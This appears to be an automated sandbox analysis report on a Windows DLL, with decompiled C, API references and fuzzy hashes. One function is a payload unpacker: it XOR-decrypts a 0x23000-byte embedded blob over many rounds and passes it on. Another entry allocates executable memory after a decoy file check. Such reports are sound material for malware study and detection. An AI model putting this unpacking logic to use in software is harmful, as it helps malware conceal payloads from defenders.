0x6edc9a65
0x6edc9a65
0x6edc9a67
0x6edc9a69
0x6edc9a6b
0x6edc9a6b
0x6edc9a6d
0x6edc9a70
0x6edc9a70
0x6edc9a73
0x6edc9a79
0x6edc9a7b
0x6edc9a7d
0x6edc9a7d
0x6edc9a81
0x6edc9a86
0x6edc9a96
0x6edc9aa0
0x6edc9aa3
0x6edc9aa8
0x6edc9ab5
0x6edc9aba
0x6edc9ac7
0x6edc9acc
0x6edc9ad4
0x6edc9ad4
0x6edc9ad6
0x6edc9ad6
0x6edc9abc
0x6edc9ac1
0x6edc9ac1
0x6edc9aaa
0x6edc9aaf
0x6edc9aaf
0x6edc9ada
0x6edc9ada
0x6edc9a88
0x6edc9a88
0x6edc9a8d
0x00000000
0x6edc9a8f
0x6edc9a8f
0x6edc9a94
0x00000000
0x00000000
0x6edc9a94
0x6edc9a8d
0x6edc9ae0
0x6edc9ae3
0x6edc9ae6
0x6edc9ae6
0x6edc9aef
0x6edc9af3
0x6edc9af3
0x6edc9af7
0x6edc9afc
0x00000000
0x6edc9afe
0x6edc9afe
0x6edc9b00
0x00000000
0x6edc9b02
0x6edc9b02
0x6edc9b07
0x00000000
0x00000000
0x6edc9b07
0x6edc9b00
0x00000000
0x6edc9b09
0x6edc9b09
0x6edc9b0c
0x6edc9b10
0x6edc9b10
0x6edc9b18
0x6edc9b18
0x6edc9b23
0x6edc9b27
0x6edc9b37
0x6edc9b3b
0x6edc9b45
0x6edc9b49
0x6edc9b5a
0x6edc9b61
0x6edc9b65
0x6edc9b83
0x6edc9b87
0x6edc9b89
0x6edc9b8c
0x6edc9b8e
0x6edc9b92
0x6edc9b94
0x6edc9b96
0x6edc9b9a
0x6edc9b9a
0x6edc9ba0
0x6edc9ba0
0x6edc9ba2
0x6edc9ba5
0x6edc9ba9
0x6edc9ba9
0x6edc9ba9
0x6edc9ba0
0x6edc9bb2
0x6edc9bb4
0x6edc9bb8
0x6edc9bba
0x6edc9bbc
0x6edc9bbc
0x6edc9bc0
0x6edc9bc4
0x6edc9bd0
0x6edc9bd8
0x6edc9bda
0x6edc9bde
0x6edc9be1
0x6edc9be3
0x6edc9be5
0x6edc9be7
0x6edc9bea
0x6edc9bed
0x6edc9bf0
0x6edc9bf0
0x6edc9bf0
0x6edc9be5
0x6edc9bf5
0x6edc9bf8
0x6edc9bf8
0x6edc9bc0
0x6edc9c00
0x6edc9c05
0x6edc9c07
0x6edc9c0b
0x6edc9c0e
0x6edc9c10
0x6edc9c16
0x6edc9c16
0x6edc9c19
0x00000000
0x00000000
0x6edc9c28
0x6edc9c2a
0x6edc9c2e
0x6edc9c33
0x6edc9c35
0x6edc9c38
0x6edc9c3a
0x6edc9c40
0x6edc9c40
0x6edc9c42
0x6edc9c66
0x6edc9c68
0x6edc9c68
0x6edc9c6f
0x6edc9c44
0x6edc9c44
0x6edc9c46
0x6edc9c48
0x00000000
0x6edc9c4a
0x6edc9c62
0x6edc9c62
0x6edc9c48
0x6edc9c73
0x6edc9c75
0x6edc9c78
0x6edc9c7a
0x6edc9c7d
0x6edc9c80
0x6edc9c83
0x6edc9c85
0x6edc9c85
0x6edc9c40
0x6edc9c8f
0x6edc9c93
0x6edc9c96
0x6edc9c9a
0x6edc9c9d
0x6edc9c9f
0x00000000
0x00000000
0x00000000
0x6edc9c9f
0x6edc9c16
0x6edc9ca5
0x6edc9ca7
0x6edc9cb4
0x6edc9cbb
0x6edc9cbf
0x6edc9cc5
0x6edc9cc8
0x6edc9ccf
0x6edc9cdb
0x6edc9cdd
0x6edc9ce1
0x6edc9ce4
0x6edc9ce6
0x6edc9cf0
0x6edc9cf2
0x6edc9cf5
0x6edc9cf7
0x6edc9cf7
0x6edc9cf9
0x6edc9cfc
0x6edc9d00
0x6edc9d00
0x6edc9d04
0x6edc9d08
0x6edc9d0a
0x6edc9d0e
0x6edc9d12
0x6edc9d1f
0x6edc9d23
0x6edc9d30
0x6edc9d34
0x6edc9d47
0x6edc9d4b
0x6edc9d4d
0x6edc9d53
0x6edc9d53
0x6edc9d53
0x6edc9d53
0x6edc9d36
0x6edc9d41
0x6edc9d41
0x6edc9d25
0x6edc9d2b
0x6edc9d2b
0x6edc9d14
0x6edc9d1a
0x6edc9d1a
0x6edc9d57
0x6edc9d5a
0x6edc9d5a
0x6edc9d5e
0x6edc9d62
0x6edc9d62
0x6edc9d65
0x6edc9d69
0x6edc9d6b
0x6edc9d6f
0x6edc9d72
0x6edc9d72
0x6edc9d7a
0x6edc9d7a
0x6edc9ce6
0x6edc9d81
0x6edc9d87
0x6edc9d8c
0x6edc9d93
0x6edc9d95
0x6edc9d97
0x6edc9d9b
0x6edc9d9d
0x6edc9d9f
0x6edc9da1
0x6edc9da3
0x6edc9daa
0x6edc9dac
0x6edc9daf
0x6edc9db2
0x6edc9db2
0x6edc9da3
0x6edc9d9d
0x6edc9db6
0x6edc9dba
0x6edc9dbe
0x6edc9e12
0x00000000
0x6edc9dc0
0x6edc9dc0
0x6edc9dc3
0x6edc9dc9
0x6edc9dcb
0x6edc9dce
0x6edc9dd0
0x6edc9e14
0x6edc9e1c
0x6edc9e1d
0x6edc9e1f
0x6edc9e20
0x6edc9e2a
0x6edc9dd2
0x6edc9dd2
0x6edc9dd6
0x6edc9dd9
0x6edc9dde
0x6edc9dde
0x6edc9de8
0x6edc9df6
0x6edc9df8
0x6edc9df9
0x6edc9dfb
0x6edc9e00
0x6edc9e0a
0x6edc9e0a
0x6edc9dd0
0x6edc9dbe

APIs

CreateFileA.KERNEL32(asd,00000000,00000000,00000000,00000000,00000000,00000000), ref: 6EDC9B65
GetLastError.KERNEL32 ref: 6EDC9B6B
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 6EDC9B87

Strings

asd, xrefs: 6EDC9B5C

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocCreateErrorFileLastVirtual
String ID: asd
API String ID: 1112224254-4170839921
Opcode ID: 486e80f17e3ed631a90c794e5bef005368dc224375bdeeafce955a0d1ede5c03
Instruction ID: b63c06ae41552613079af6ecb69381a9753713dbeeaebae98f528ff76ecdd351
Opcode Fuzzy Hash: 486e80f17e3ed631a90c794e5bef005368dc224375bdeeafce955a0d1ede5c03
Instruction Fuzzy Hash: BAE1DE71A08306CFC750CF98C880B2AB7E9FF88B98F14456DE9999B345D771E855CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCA21B, Relevance: 10.6, APIs: 7, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E6EDCA21B(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t34;
				signed int _t40;
				signed int _t41;
				signed int _t42;
				signed int _t45;
				signed char _t54;
				signed int _t56;
				signed int _t58;
				void* _t61;
				void* _t68;
				signed int _t72;
				signed int _t76;
				signed int _t80;
				void* _t82;
				void* _t89;

				_t89 = __fp0;
				_t68 = __edx;
				_push(0x10);
				_push(0x6ee07d80);
				E6EDCAC90(__ebx, __edi, __esi);
				_t34 =  *0x6ee0ae14; // 0x0
				if(_t34 > 0) {
					 *0x6ee0ae14 = _t34 - 1;
					 *(_t82 - 0x1c) = 1;
					 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
					 *((char*)(_t82 - 0x20)) = E6EDCA872();
					 *(_t82 - 4) = 1;
					__eflags =  *0x6ee0b158 - 2;
					if( *0x6ee0b158 != 2) {
						E6EDCAB0C(_t68, 1, __esi, 7);
						asm("int3");
						_push(0xc);
						_push(0x6ee07da8);
						E6EDCAC90(__ebx, 1, __esi);
						_t72 =  *(_t82 + 0xc);
						__eflags = _t72;
						if(_t72 != 0) {
							L9:
							 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
							__eflags = _t72 - 1;
							if(_t72 == 1) {
								L12:
								_t58 =  *(_t82 + 0x10);
								_t76 = E6EDCA3D6( *((intOrPtr*)(_t82 + 8)), _t72, _t58);
								 *(_t82 - 0x1c) = _t76;
								__eflags = _t76;
								if(_t76 != 0) {
									_t41 = E6EDCA0C1(_t61,  *((intOrPtr*)(_t82 + 8)), _t72, _t58); // executed
									_t76 = _t41;
									 *(_t82 - 0x1c) = _t76;
									__eflags = _t76;
									if(_t76 != 0) {
										goto L14;
									}
								}
							} else {
								__eflags = _t72 - 2;
								if(_t72 == 2) {
									goto L12;
								} else {
									_t58 =  *(_t82 + 0x10);
									L14:
									_push(_t58);
									_t42 = E6EDB1290(_t58, _t72, _t76, _t89,  *((intOrPtr*)(_t82 + 8)), _t72); // executed
									_t76 = _t42;
									 *(_t82 - 0x1c) = _t76;
									__eflags = _t72 - 1;
									if(_t72 == 1) {
										__eflags = _t76;
										if(_t76 == 0) {
											_push(_t58);
											_t45 = E6EDB1290(_t58, _t72, _t76, _t89,  *((intOrPtr*)(_t82 + 8)), _t42);
											__eflags = _t58;
											_t25 = _t58 != 0;
											__eflags = _t25;
											_push((_t45 & 0xffffff00 | _t25) & 0x000000ff);
											E6EDCA21B(_t58, _t68, _t72, _t76, _t25, _t89);
											_pop(_t61);
											E6EDCA3D6( *((intOrPtr*)(_t82 + 8)), _t76, _t58);
										}
									}
									__eflags = _t72;
									if(_t72 == 0) {
										L19:
										_t76 = E6EDCA0C1(_t61,  *((intOrPtr*)(_t82 + 8)), _t72, _t58);
										 *(_t82 - 0x1c) = _t76;
										__eflags = _t76;
										if(_t76 != 0) {
											_t76 = E6EDCA3D6( *((intOrPtr*)(_t82 + 8)), _t72, _t58);
											 *(_t82 - 0x1c) = _t76;
										}
									} else {
										__eflags = _t72 - 3;
										if(_t72 == 3) {
											goto L19;
										}
									}
								}
							}
							 *(_t82 - 4) = 0xfffffffe;
							_t40 = _t76;
						} else {
							__eflags =  *0x6ee0ae14 - _t72; // 0x0
							if(__eflags > 0) {
								goto L9;
							} else {
								_t40 = 0;
							}
						}
						 *[fs:0x0] =  *((intOrPtr*)(_t82 - 0x10));
						return _t40;
					} else {
						E6EDCA93D(__ebx, _t61, 1, __esi);
						E6EDCA7F9();
						E6EDCAC5B();
						 *0x6ee0b158 =  *0x6ee0b158 & 0x00000000;
						 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
						E6EDCA2B0();
						_t54 = E6EDCAADE(_t61,  *((intOrPtr*)(_t82 + 8)), 0);
						asm("sbb esi, esi");
						_t80 =  ~(_t54 & 0x000000ff) & 1;
						__eflags = _t80;
						 *(_t82 - 0x1c) = _t80;
						 *(_t82 - 4) = 0xfffffffe;
						E6EDCA2BD();
						_t56 = _t80;
						goto L4;
					}
				} else {
					_t56 = 0;
					L4:
					 *[fs:0x0] =  *((intOrPtr*)(_t82 - 0x10));
					return _t56;
				}
			}

0x6edca21b
0x6edca21b
0x6edca21b
0x6edca21d
0x6edca222
0x6edca227
0x6edca22e
0x6edca235
0x6edca23d
0x6edca240
0x6edca249
0x6edca24c
0x6edca24f
0x6edca256
0x6edca2c5
0x6edca2ca
0x6edca2cb
0x6edca2cd
0x6edca2d2
0x6edca2d7
0x6edca2da
0x6edca2dc
0x6edca2ed
0x6edca2ed
0x6edca2f1
0x6edca2f4
0x6edca300
0x6edca300
0x6edca30d
0x6edca30f
0x6edca312
0x6edca314
0x6edca31f
0x6edca324
0x6edca326
0x6edca329
0x6edca32b
0x00000000
0x00000000
0x6edca32b
0x6edca2f6
0x6edca2f6
0x6edca2f9
0x00000000
0x6edca2fb
0x6edca2fb
0x6edca331
0x6edca331
0x6edca336
0x6edca33b
0x6edca33d
0x6edca340
0x6edca343
0x6edca345
0x6edca347
0x6edca349
0x6edca34e
0x6edca353
0x6edca355
0x6edca355
0x6edca35b
0x6edca35c
0x6edca361
0x6edca367
0x6edca367
0x6edca347
0x6edca36c
0x6edca36e
0x6edca375
0x6edca37f
0x6edca381
0x6edca384
0x6edca386
0x6edca392
0x6edca3ba
0x6edca3ba
0x6edca370
0x6edca370
0x6edca373
0x00000000
0x00000000
0x6edca373
0x6edca36e
0x6edca2f9
0x6edca3bd
0x6edca3c4
0x6edca2de
0x6edca2de
0x6edca2e4
0x00000000
0x6edca2e6
0x6edca2e6
0x6edca2e6
0x6edca2e4
0x6edca3c9
0x6edca3d5
0x6edca258
0x6edca258
0x6edca25d
0x6edca262
0x6edca267
0x6edca26e
0x6edca272
0x6edca27c
0x6edca288
0x6edca28a
0x6edca28a
0x6edca28c
0x6edca28f
0x6edca296
0x6edca29b
0x00000000
0x6edca29b
0x6edca230
0x6edca230
0x6edca29d
0x6edca2a0
0x6edca2ac
0x6edca2ac

APIs

__RTC_Initialize.LIBCMT ref: 6EDCA262
___scrt_uninitialize_crt.LIBCMT ref: 6EDCA27C

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 97fc0f73efb4696160af716521aa3b330edf274423416e077b07b3acc5fbb2ff
Instruction ID: bc13ddf0923e77020dab8a9e48ab2aa8aa0ffe6b6457711fe8d67a6a2abefc1b
Opcode Fuzzy Hash: 97fc0f73efb4696160af716521aa3b330edf274423416e077b07b3acc5fbb2ff
Instruction Fuzzy Hash: B841B372D04629EFDB118FE4C900B9E7A7DEB41FD4F01491AE81757240D7318D529BB2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCA2CB, Relevance: 7.6, APIs: 5, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E6EDCA2CB(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				signed int _t24;
				signed int _t25;
				signed int _t26;
				signed int _t29;
				signed int _t35;
				void* _t37;
				void* _t40;
				signed int _t42;
				signed int _t45;
				void* _t47;
				void* _t52;
				void* _t53;

				_t53 = __fp0;
				_t40 = __edx;
				_push(0xc);
				_push(0x6ee07da8);
				E6EDCAC90(__ebx, __edi, __esi);
				_t42 =  *(_t47 + 0xc);
				if(_t42 != 0) {
					L3:
					 *(_t47 - 4) =  *(_t47 - 4) & 0x00000000;
					__eflags = _t42 - 1;
					if(_t42 == 1) {
						L6:
						_t35 =  *(_t47 + 0x10);
						_t45 = E6EDCA3D6( *((intOrPtr*)(_t47 + 8)), _t42, _t35);
						 *(_t47 - 0x1c) = _t45;
						__eflags = _t45;
						if(_t45 == 0) {
							L16:
							 *(_t47 - 4) = 0xfffffffe;
							_t24 = _t45;
							L17:
							 *[fs:0x0] =  *((intOrPtr*)(_t47 - 0x10));
							return _t24;
						}
						_t25 = E6EDCA0C1(_t37,  *((intOrPtr*)(_t47 + 8)), _t42, _t35); // executed
						_t45 = _t25;
						 *(_t47 - 0x1c) = _t45;
						__eflags = _t45;
						if(_t45 == 0) {
							goto L16;
						}
						L8:
						_push(_t35);
						_t26 = E6EDB1290(_t35, _t42, _t45, _t53,  *((intOrPtr*)(_t47 + 8)), _t42); // executed
						_t45 = _t26;
						 *(_t47 - 0x1c) = _t45;
						__eflags = _t42 - 1;
						if(_t42 == 1) {
							__eflags = _t45;
							if(_t45 == 0) {
								_push(_t35);
								_t29 = E6EDB1290(_t35, _t42, _t45, _t53,  *((intOrPtr*)(_t47 + 8)), _t26);
								__eflags = _t35;
								_t14 = _t35 != 0;
								__eflags = _t14;
								_push((_t29 & 0xffffff00 | _t14) & 0x000000ff);
								E6EDCA21B(_t35, _t40, _t42, _t45, _t14, _t53);
								_pop(_t37);
								E6EDCA3D6( *((intOrPtr*)(_t47 + 8)), _t45, _t35);
							}
						}
						__eflags = _t42;
						if(_t42 == 0) {
							L13:
							_t45 = E6EDCA0C1(_t37,  *((intOrPtr*)(_t47 + 8)), _t42, _t35);
							 *(_t47 - 0x1c) = _t45;
							__eflags = _t45;
							if(_t45 != 0) {
								_t45 = E6EDCA3D6( *((intOrPtr*)(_t47 + 8)), _t42, _t35);
								 *(_t47 - 0x1c) = _t45;
							}
							goto L16;
						} else {
							__eflags = _t42 - 3;
							if(_t42 != 3) {
								goto L16;
							}
							goto L13;
						}
					}
					__eflags = _t42 - 2;
					if(_t42 == 2) {
						goto L6;
					}
					_t35 =  *(_t47 + 0x10);
					goto L8;
				}
				_t52 =  *0x6ee0ae14 - _t42; // 0x0
				if(_t52 > 0) {
					goto L3;
				}
				_t24 = 0;
				goto L17;
			}

0x6edca2cb
0x6edca2cb
0x6edca2cb
0x6edca2cd
0x6edca2d2
0x6edca2d7
0x6edca2dc
0x6edca2ed
0x6edca2ed
0x6edca2f1
0x6edca2f4
0x6edca300
0x6edca300
0x6edca30d
0x6edca30f
0x6edca312
0x6edca314
0x6edca3bd
0x6edca3bd
0x6edca3c4
0x6edca3c6
0x6edca3c9
0x6edca3d5
0x6edca3d5
0x6edca31f
0x6edca324
0x6edca326
0x6edca329
0x6edca32b
0x00000000
0x00000000
0x6edca331
0x6edca331
0x6edca336
0x6edca33b
0x6edca33d
0x6edca340
0x6edca343
0x6edca345
0x6edca347
0x6edca349
0x6edca34e
0x6edca353
0x6edca355
0x6edca355
0x6edca35b
0x6edca35c
0x6edca361
0x6edca367
0x6edca367
0x6edca347
0x6edca36c
0x6edca36e
0x6edca375
0x6edca37f
0x6edca381
0x6edca384
0x6edca386
0x6edca392
0x6edca3ba
0x6edca3ba
0x00000000
0x6edca370
0x6edca370
0x6edca373
0x00000000
0x00000000
0x00000000
0x6edca373
0x6edca36e
0x6edca2f6
0x6edca2f9
0x00000000
0x00000000
0x6edca2fb
0x00000000
0x6edca2fb
0x6edca2de
0x6edca2e4
0x00000000
0x00000000
0x6edca2e6
0x00000000

APIs

dllmain_raw.LIBCMT ref: 6EDCA308
dllmain_crt_dispatch.LIBCMT ref: 6EDCA31F
dllmain_raw.LIBCMT ref: 6EDCA367
dllmain_crt_dispatch.LIBCMT ref: 6EDCA37A
dllmain_raw.LIBCMT ref: 6EDCA38D

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 80aa8e157aa34e09ee0e41b5254ff0e2878dce0f6ffd7589cf39eb52a652f44d
Instruction ID: 06d4f1cc63fcb04cc89a9dde60317977270831543e6e44e02669beeaee5bfffd
Opcode Fuzzy Hash: 80aa8e157aa34e09ee0e41b5254ff0e2878dce0f6ffd7589cf39eb52a652f44d
Instruction Fuzzy Hash: CF21BC72E00629EFCB628FD5CD50AAF3A7DEB81FD4B014519FC2657210C3318D528BA2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC4E0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EDBC4E0() {
				struct HINSTANCE__* _t1;

				_t1 = GetModuleHandleA("api-ms-win-core-synch-l1-2-0"); // executed
				if(_t1 == 0) {
					return _t1;
				} else {
					return GetProcAddress(_t1, "WaitOnAddress");
				}
			}

0x6edbc4e5
0x6edbc4ed
0x6edbc4fc
0x6edbc4ef
0x6edbc4fb
0x6edbc4fb

APIs

GetModuleHandleA.KERNEL32(api-ms-win-core-synch-l1-2-0), ref: 6EDBC4E5
GetProcAddress.KERNEL32(00000000,WaitOnAddress), ref: 6EDBC4F5

Strings

WaitOnAddress, xrefs: 6EDBC4EF
api-ms-win-core-synch-l1-2-0, xrefs: 6EDBC4E0

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: WaitOnAddress$api-ms-win-core-synch-l1-2-0
API String ID: 1646373207-1891578837
Opcode ID: 71d4c1694ba38d5a113358ffdbfd09398f516eefd65e02230353f228c36635ff
Instruction ID: 1a28fa5e3d6fbd7a9ba210c8be93324a898ea89cb298730dd615edfb68fd913b
Opcode Fuzzy Hash: 71d4c1694ba38d5a113358ffdbfd09398f516eefd65e02230353f228c36635ff
Instruction Fuzzy Hash: F3B092B5E04946EAAEA1ABF24D0CF263928BD5121B30294906456EA148DA20C0069E21

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC460, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EDBC460() {
				struct HINSTANCE__* _t1;

				_t1 = GetModuleHandleA("api-ms-win-core-synch-l1-2-0"); // executed
				if(_t1 == 0) {
					return _t1;
				} else {
					return GetProcAddress(_t1, "WakeByAddressSingle");
				}
			}

0x6edbc465
0x6edbc46d
0x6edbc47c
0x6edbc46f
0x6edbc47b
0x6edbc47b

APIs

GetModuleHandleA.KERNEL32(api-ms-win-core-synch-l1-2-0), ref: 6EDBC465
GetProcAddress.KERNEL32(00000000,WakeByAddressSingle), ref: 6EDBC475

Strings

api-ms-win-core-synch-l1-2-0, xrefs: 6EDBC460
WakeByAddressSingle, xrefs: 6EDBC46F

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: WakeByAddressSingle$api-ms-win-core-synch-l1-2-0
API String ID: 1646373207-1731903895
Opcode ID: f6777d5ce5929f4bd84c9ad9b36127755be09f726729470f1fb5581d5f81d768
Instruction ID: 74baa99e358bba51975b461c4304a834e7957789f973f2767f04985348e9100e
Opcode Fuzzy Hash: f6777d5ce5929f4bd84c9ad9b36127755be09f726729470f1fb5581d5f81d768
Instruction Fuzzy Hash: 42B092B5A04945EAAE91ABF18D0CF262928AD8221730294906192DA188DA20C1069E21

Uniqueness

Uniqueness Score: -1.00%

Function 6EDB1290, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 136
memoryCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E6EDB1290(void* __ebx, void* __edi, void* __esi, void* __fp0, intOrPtr _a4, intOrPtr _a8) {
				void* _v16;
				char _v112;
				void* __ebp;
				intOrPtr _t60;
				void* _t63;
				void* _t64;
				signed int _t68;
				signed int _t69;
				signed char _t73;
				intOrPtr _t75;
				signed int _t76;
				void* _t88;
				void* _t89;
				signed int _t93;
				signed int _t94;
				void* _t108;
				void* _t109;
				intOrPtr _t111;
				intOrPtr _t114;
				signed int _t116;
				intOrPtr _t118;

				_t106 = __edi;
				_t86 = __ebx;
				_push(__ebx);
				_push(__edi);
				_t118 = (_t116 & 0xfffffff0) - 0x70;
				_t111 = _t118;
				 *((intOrPtr*)(_t111 + 0x58)) = _t114;
				 *((intOrPtr*)(_t111 + 0x5c)) = _t118;
				 *(_t111 + 0x68) = 0xffffffff;
				 *((intOrPtr*)(_t111 + 0x64)) = E6EDC3B10;
				_t124 = _a8 - 1;
				 *((intOrPtr*)(_t111 + 0x60)) =  *[fs:0x0];
				 *[fs:0x0] = _t111 + 0x60;
				if(_a8 != 1) {
					L14:
					_t60 =  *((intOrPtr*)(_t111 + 0x60));
					 *[fs:0x0] = _t60;
					return _t60;
				} else {
					asm("movaps xmm1, [0x6edd81d0]");
					asm("xorps xmm0, xmm0");
					asm("movaps [esi+0x30], xmm0");
					 *((intOrPtr*)(_t111 + 0x40)) = _a4;
					 *(_t111 + 0x44) = 0;
					asm("movups [esi+0x48], xmm1");
					E6EDC97A0(_t124, __fp0);
					 *((intOrPtr*)(_t111 + 0x23)) = 0xf8db84f8;
					 *((intOrPtr*)(_t111 + 0x27)) = 0x392538df;
					 *((intOrPtr*)(_t111 + 0x2b)) = 0x7048fbd1;
					 *((intOrPtr*)(_t111 + 0x14)) = 0x9e9e1da7;
					 *((intOrPtr*)(_t111 + 0x18)) = 0xe0e4bd1f;
					 *((intOrPtr*)(_t111 + 0x1c)) = 0x794c6027;
					 *((short*)(_t111 + 0x20)) = 0x7ccf;
					 *((char*)(_t111 + 0x2f)) = 0x17;
					 *((char*)(_t111 + 0x22)) = 0x5e;
					_t63 =  *0x6ee0adc8; // 0x2ed0000
					if(_t63 != 0) {
						L4:
						_t64 = HeapAlloc(_t63, 0, 0x23000); // executed
						if(_t64 == 0) {
							goto L15;
						} else {
							 *(_t111 + 0xc) = _t64;
							E6EDCAE10(_t64, 0x6edd8220, 0x23000);
							_t68 = 0;
							asm("o16 nop [cs:eax+eax]");
							do {
								_t108 = 0xfffdd000;
								_t88 = _t111 + 0x14;
								_t93 = 0;
								 *((intOrPtr*)(_t111 + 0x10)) = _t68;
								do {
									_t69 = _t93;
									_t93 = _t93 + 1;
									_t73 =  *(_t88 + (_t69 * 0x88888889 >> 0x20 >> 3) - (0x88888889 << 4)) & 0x000000ff;
									_t88 = _t88 + 1;
									 *( *(_t111 + 0xc) + _t108 + 0x23000) =  *( *(_t111 + 0xc) + _t108 + 0x23000) ^ _t73;
									_t108 = _t108 + 1;
								} while (_t108 != 0);
								_t68 =  *((intOrPtr*)(_t111 + 0x10)) + 1;
							} while (_t68 != 0x3e9);
							_t89 =  *(_t111 + 0xc);
							_t75 = 0;
							asm("o16 nop [cs:eax+eax]");
							do {
								_t109 = 0xfffdd000;
								_t94 = 0;
								 *((intOrPtr*)(_t111 + 0x10)) = _t75;
								asm("o16 nop [eax+eax]");
								do {
									_t76 = _t94;
									_t94 = _t94 + 1;
									 *(_t89 + _t109 + 0x23000) =  *(_t89 + _t109 + 0x23000) ^  *(_t109 + _t111 + 0x23 + (_t76 * 0x4ec4ec4f >> 0x20 >> 2) * 0xfffffff3 + 0x23000) & 0x000000ff;
									_t109 = _t109 + 1;
								} while (_t109 != 0);
								_t75 =  *((intOrPtr*)(_t111 + 0x10)) + 1;
								_t132 = _t75 - 0x3e9;
							} while (_t75 != 0x3e9);
							 *(_t111 + 0x68) = 0;
							 *(_t111 + 0x30) =  *(_t111 + 0xc);
							_push(_t111 + 0x30);
							E6EDC9990(_t132);
							HeapFree( *0x6ee0adc8, 0,  *(_t111 + 0xc));
							goto L14;
						}
					} else {
						_t63 = GetProcessHeap();
						if(_t63 == 0) {
							L15:
							E6EDD6C30(_t86, 0x23000, 1, _t106, _t111, __eflags);
							asm("ud2");
							_push(_t114);
							return E6EDB1000( *((intOrPtr*)( &_v112 + 0xc)), 0x23000);
						} else {
							 *0x6ee0adc8 = _t63;
							goto L4;
						}
					}
				}
			}

0x6edb1290
0x6edb1290
0x6edb1293
0x6edb1294
0x6edb1299
0x6edb129c
0x6edb129e
0x6edb12a4
0x6edb12a7
0x6edb12ae
0x6edb12bf
0x6edb12c2
0x6edb12c5
0x6edb12cc
0x6edb143a
0x6edb143a
0x6edb143d
0x6edb144a
0x6edb12d2
0x6edb12d5
0x6edb12dc
0x6edb12df
0x6edb12e3
0x6edb12e6
0x6edb12ed
0x6edb12f1
0x6edb12f6
0x6edb12fd
0x6edb1304
0x6edb130b
0x6edb1312
0x6edb1319
0x6edb1320
0x6edb1326
0x6edb132a
0x6edb132e
0x6edb1335
0x6edb1349
0x6edb1351
0x6edb1358
0x00000000
0x6edb135e
0x6edb1368
0x6edb136c
0x6edb1374
0x6edb1376
0x6edb1380
0x6edb1380
0x6edb1385
0x6edb1388
0x6edb138a
0x6edb1390
0x6edb1390
0x6edb1397
0x6edb13a4
0x6edb13ab
0x6edb13ac
0x6edb13b3
0x6edb13b3
0x6edb13b9
0x6edb13ba
0x6edb13c1
0x6edb13c4
0x6edb13c6
0x6edb13d0
0x6edb13d0
0x6edb13d5
0x6edb13d7
0x6edb13da
0x6edb13e0
0x6edb13e0
0x6edb13e7
0x6edb13fc
0x6edb1403
0x6edb1403
0x6edb1409
0x6edb140a
0x6edb140a
